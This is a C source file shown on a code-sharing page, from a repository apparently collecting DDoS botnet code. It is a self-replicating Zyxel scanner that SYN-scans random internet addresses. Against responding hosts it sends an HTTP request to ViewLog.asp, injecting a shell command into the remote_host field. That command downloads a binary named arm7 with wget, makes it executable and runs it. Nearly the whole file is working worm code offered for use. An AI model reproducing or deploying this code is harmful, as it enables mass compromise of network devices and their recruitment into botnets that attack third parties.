Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/Zyxel/zyxel.c
5038 views
1
#ifdef SELFREP
2
3
#define _GNU_SOURCE
4
5
#ifdef DEBUG
6
#include <stdio.h>
7
#endif
8
#include <unistd.h>
9
#include <stdlib.h>
10
#include <sys/socket.h>
11
#include <arpa/inet.h>
12
#include <sys/select.h>
13
#include <sys/types.h>
14
#include <time.h>
15
#include <fcntl.h>
16
#include <signal.h>
17
#include <errno.h>
18
#include <string.h>
19
#include <linux/ip.h>
20
#include <linux/tcp.h>
21
22
#include "includes.h"
23
#include "zyxel_scanner.h"
24
#include "table.h"
25
#include "rand.h"
26
#include "util.h"
27
#include "checksum.h"
28
29
int zyxelscanner_scanner_pid = 0, zyxelscanner_rsck = 0, zyxelscanner_rsck_out = 0;
30
char zyxelscanner_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
31
struct zyxelscanner_scanner_connection *conn_table;
32
uint32_t zyxelscanner_fake_time = 0;
33
34
int zyxelscanner_recv_strip_null(int sock, void *buf, int len, int flags)
35
{
36
int ret = recv(sock, buf, len, flags);
37
38
if(ret > 0)
39
{
40
int i = 0;
41
42
for(i = 0; i < ret; i++)
43
{
44
if(((char *)buf)[i] == 0x00)
45
{
46
((char *)buf)[i] = 'A';
47
}
48
}
49
}
50
51
return ret;
52
}
53
54
void zyxelscanner_scanner_init(void)
55
{
56
int i = 0;
57
uint16_t source_port;
58
struct iphdr *iph;
59
struct tcphdr *tcph;
60
61
// Let parent continue on main thread
62
zyxelscanner_scanner_pid = fork();
63
if(zyxelscanner_scanner_pid > 0 || zyxelscanner_scanner_pid == -1)
64
return;
65
66
LOCAL_ADDR = util_local_addr();
67
68
rand_init();
69
zyxelscanner_fake_time = time(NULL);
70
conn_table = calloc(zyxelscanner_SCANNER_MAX_CONNS, sizeof(struct zyxelscanner_scanner_connection));
71
for(i = 0; i < zyxelscanner_SCANNER_MAX_CONNS; i++)
72
{
73
conn_table[i].state = zyxelscanner_SC_CLOSED;
74
conn_table[i].fd = -1;
75
}
76
77
// Set up raw socket scanning and payload
78
if((zyxelscanner_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
79
{
80
#ifdef DEBUG
81
printf("[scanner] failed to initialize raw socket, cannot scan\n");
82
#endif
83
exit(0);
84
}
85
fcntl(zyxelscanner_rsck, F_SETFL, O_NONBLOCK | fcntl(zyxelscanner_rsck, F_GETFL, 0));
86
i = 1;
87
if(setsockopt(zyxelscanner_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
88
{
89
#ifdef DEBUG
90
printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");
91
#endif
92
close(zyxelscanner_rsck);
93
exit(0);
94
}
95
96
do
97
{
98
source_port = rand_next() & 0xffff;
99
}
100
while(ntohs(source_port) < 1024);
101
102
iph = (struct iphdr *)zyxelscanner_scanner_rawpkt;
103
tcph = (struct tcphdr *)(iph + 1);
104
105
// Set up IPv4 header
106
iph->ihl = 5;
107
iph->version = 4;
108
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
109
iph->id = rand_next();
110
iph->ttl = 64;
111
iph->protocol = IPPROTO_TCP;
112
113
// Set up TCP header
114
tcph->dest = htons(80);
115
tcph->source = source_port;
116
tcph->doff = 5;
117
tcph->window = rand_next() & 0xffff;
118
tcph->syn = TRUE;
119
120
#ifdef DEBUG
121
printf("[scanner_zyxel] scanner process initialized. scanning started.\n");
122
#endif
123
124
// Main logic loop
125
while(TRUE)
126
{
127
fd_set fdset_rd, fdset_wr;
128
struct zyxelscanner_scanner_connection *conn;
129
struct timeval tim;
130
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
131
132
// Spew out SYN to try and get a response
133
if(zyxelscanner_fake_time != last_spew)
134
{
135
last_spew = zyxelscanner_fake_time;
136
137
for(i = 0; i < zyxelscanner_SCANNER_RAW_PPS; i++)
138
{
139
struct sockaddr_in paddr = {0};
140
struct iphdr *iph = (struct iphdr *)zyxelscanner_scanner_rawpkt;
141
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
142
143
iph->id = rand_next();
144
iph->saddr = LOCAL_ADDR;
145
iph->daddr = zyxelscanner_get_random_ip();
146
iph->check = 0;
147
iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
148
149
tcph->dest = htons(80);
150
tcph->seq = iph->daddr;
151
tcph->check = 0;
152
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
153
154
paddr.sin_family = AF_INET;
155
paddr.sin_addr.s_addr = iph->daddr;
156
paddr.sin_port = tcph->dest;
157
158
sendto(zyxelscanner_rsck, zyxelscanner_scanner_rawpkt, sizeof(zyxelscanner_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
159
}
160
}
161
162
// Read packets from raw socket to get SYN+ACKs
163
last_avail_conn = 0;
164
while(TRUE)
165
{
166
int n = 0;
167
char dgram[1514];
168
struct iphdr *iph = (struct iphdr *)dgram;
169
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
170
struct zyxelscanner_scanner_connection *conn;
171
172
errno = 0;
173
n = recvfrom(zyxelscanner_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
174
if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
175
break;
176
177
if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))
178
continue;
179
if(iph->daddr != LOCAL_ADDR)
180
continue;
181
if(iph->protocol != IPPROTO_TCP)
182
continue;
183
if(tcph->source != htons(80))
184
continue;
185
if(tcph->dest != source_port)
186
continue;
187
if(!tcph->syn)
188
continue;
189
if(!tcph->ack)
190
continue;
191
if(tcph->rst)
192
continue;
193
if(tcph->fin)
194
continue;
195
if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
196
continue;
197
198
conn = NULL;
199
for(n = last_avail_conn; n < zyxelscanner_SCANNER_MAX_CONNS; n++)
200
{
201
if(conn_table[n].state == zyxelscanner_SC_CLOSED)
202
{
203
conn = &conn_table[n];
204
last_avail_conn = n;
205
break;
206
}
207
}
208
209
// If there were no slots, then no point reading any more
210
if(conn == NULL)
211
break;
212
213
conn->dst_addr = iph->saddr;
214
conn->dst_port = tcph->source;
215
zyxelscanner_setup_connection(conn);
216
}
217
218
FD_ZERO(&fdset_rd);
219
FD_ZERO(&fdset_wr);
220
221
for(i = 0; i < zyxelscanner_SCANNER_MAX_CONNS; i++)
222
{
223
int timeout = 5;
224
225
conn = &conn_table[i];
226
//timeout = (conn->state > zyxelscanner_SC_CONNECTING ? 30 : 5);
227
228
if(conn->state != zyxelscanner_SC_CLOSED && (zyxelscanner_fake_time - conn->last_recv) > timeout)
229
{
230
close(conn->fd);
231
conn->fd = -1;
232
conn->state = zyxelscanner_SC_CLOSED;
233
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
234
235
continue;
236
}
237
238
if(conn->state == zyxelscanner_SC_CONNECTING || conn->state == zyxelscanner_SC_EXPLOIT_STAGE2 || conn->state == zyxelscanner_SC_EXPLOIT_STAGE3)
239
{
240
FD_SET(conn->fd, &fdset_wr);
241
if(conn->fd > mfd_wr)
242
mfd_wr = conn->fd;
243
}
244
else if(conn->state != zyxelscanner_SC_CLOSED)
245
{
246
FD_SET(conn->fd, &fdset_rd);
247
if(conn->fd > mfd_rd)
248
mfd_rd = conn->fd;
249
}
250
}
251
252
tim.tv_usec = 0;
253
tim.tv_sec = 1;
254
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
255
zyxelscanner_fake_time = time(NULL);
256
257
for(i = 0; i < zyxelscanner_SCANNER_MAX_CONNS; i++)
258
{
259
conn = &conn_table[i];
260
261
if(conn->fd == -1)
262
continue;
263
264
if(FD_ISSET(conn->fd, &fdset_wr))
265
{
266
int err = 0, ret = 0;
267
socklen_t err_len = sizeof(err);
268
269
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
270
if(err == 0 && ret == 0)
271
{
272
if(conn->state == zyxelscanner_SC_EXPLOIT_STAGE2)
273
{
274
#ifdef DEBUG
275
printf("[scanner] FD%d sending payload\n", conn->fd);
276
#endif
277
278
util_strcpy(conn->payload_buf, "POST /cgi-bin/ViewLog.asp HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nContent-Length: 176\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://1.1.1.1/arm7;chmod+777+arm7;./arm7;rm+-rf+arm7%3b%23&remoteSubmit=Save\r\n\r\n");
279
280
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
281
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
282
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
283
284
285
close(conn->fd);
286
zyxelscanner_setup_connection(conn);
287
conn->state = zyxelscanner_SC_EXPLOIT_STAGE3;
288
289
continue;
290
}
291
else if(conn->state == zyxelscanner_SC_EXPLOIT_STAGE3)
292
{
293
#ifdef DEBUG
294
printf("[scanner] FD%d finnished\n", conn->fd);
295
#endif
296
297
close(conn->fd);
298
conn->fd = -1;
299
conn->state = zyxelscanner_SC_CLOSED;
300
301
continue;
302
}
303
else
304
{
305
#ifdef DEBUG
306
printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
307
#endif
308
309
conn->state = zyxelscanner_SC_EXPLOIT_STAGE2;
310
}
311
}
312
else
313
{
314
close(conn->fd);
315
conn->fd = -1;
316
conn->state = zyxelscanner_SC_CLOSED;
317
318
continue;
319
}
320
}
321
322
if(FD_ISSET(conn->fd, &fdset_rd))
323
{
324
while(TRUE)
325
{
326
int ret = 0;
327
328
if(conn->state == zyxelscanner_SC_CLOSED)
329
break;
330
331
if(conn->rdbuf_pos == zyxelscanner_SCANNER_RDBUF_SIZE)
332
{
333
memmove(conn->rdbuf, conn->rdbuf + zyxelscanner_SCANNER_HACK_DRAIN, zyxelscanner_SCANNER_RDBUF_SIZE - zyxelscanner_SCANNER_HACK_DRAIN);
334
conn->rdbuf_pos -= zyxelscanner_SCANNER_HACK_DRAIN;
335
}
336
337
errno = 0;
338
ret = zyxelscanner_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, zyxelscanner_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
339
if(ret == 0)
340
{
341
errno = ECONNRESET;
342
ret = -1;
343
}
344
if(ret == -1)
345
{
346
if(errno != EAGAIN && errno != EWOULDBLOCK)
347
{
348
if(conn->state == zyxelscanner_SC_EXPLOIT_STAGE2)
349
{
350
close(conn->fd);
351
zyxelscanner_setup_connection(conn);
352
continue;
353
}
354
355
close(conn->fd);
356
conn->fd = -1;
357
conn->state = zyxelscanner_SC_CLOSED;
358
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
359
}
360
break;
361
}
362
363
conn->rdbuf_pos += ret;
364
conn->last_recv = zyxelscanner_fake_time;
365
366
int len = util_strlen(conn->rdbuf);
367
conn->rdbuf[len] = 0;
368
}
369
}
370
}
371
}
372
}
373
374
void zyxelscanner_scanner_kill(void)
375
{
376
kill(zyxelscanner_scanner_pid, 9);
377
}
378
379
static void zyxelscanner_setup_connection(struct zyxelscanner_scanner_connection *conn)
380
{
381
struct sockaddr_in addr = {0};
382
383
if(conn->fd != -1)
384
close(conn->fd);
385
386
if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
387
{
388
return;
389
}
390
391
conn->rdbuf_pos = 0;
392
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
393
394
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
395
396
addr.sin_family = AF_INET;
397
addr.sin_addr.s_addr = conn->dst_addr;
398
addr.sin_port = conn->dst_port;
399
400
conn->last_recv = zyxelscanner_fake_time;
401
402
if(conn->state == zyxelscanner_SC_EXPLOIT_STAGE2 || conn->state == zyxelscanner_SC_EXPLOIT_STAGE3)
403
{
404
}
405
else
406
{
407
conn->state = zyxelscanner_SC_CONNECTING;
408
}
409
410
connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
411
}
412
413
static ipv4_t zyxelscanner_get_random_ip(void)
414
{
415
uint32_t tmp;
416
uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
417
418
do
419
{
420
tmp = rand_next();
421
422
o1 = tmp & 0xff;
423
o2 = (tmp >> 8) & 0xff;
424
o3 = (tmp >> 16) & 0xff;
425
o4 = (tmp >> 24) & 0xff;
426
}
427
while(o1 == 127 || // 127.0.0.0/8 - Loopback
428
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
429
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
430
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
431
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
432
(o1 == 10) || // 10.0.0.0/8 - Internal network
433
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
434
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
435
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
436
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
437
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
438
(o1 >= 224) || // 224.*.*.*+ - Multicast
439
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
440
);
441
442
int randnum = rand() % 10;
443
if (randnum == 0)
444
{
445
return INET_ADDR(169,o2,o3,o4);
446
}
447
if (randnum == 1)
448
{
449
return INET_ADDR(80,o2,o3,o4);
450
}
451
if (randnum == 2)
452
{
453
return INET_ADDR(86,o2,o3,o4);
454
}
455
if (randnum == 3)
456
{
457
return INET_ADDR(178,o2,o3,o4);
458
}
459
if (randnum == 4)
460
{
461
return INET_ADDR(213,o2,o3,o4);
462
}
463
if (randnum == 5)
464
{
465
return INET_ADDR(83,o2,o3,o4);
466
}
467
if (randnum == 6)
468
{
469
return INET_ADDR(200,o2,o3,o4);
470
}
471
if (randnum == 7)
472
{
473
return INET_ADDR(181,o2,o3,o4);
474
}
475
if (randnum == 8)
476
{
477
return INET_ADDR(82,o2,o3,o4);
478
}
479
if (randnum == 9)
480
{
481
return INET_ADDR(206,o2,o3,o4);
482
}
483
if (randnum == 10)
484
{
485
return INET_ADDR(217,o2,o3,o4);
486
}
487
}
488
#endif
489
490
491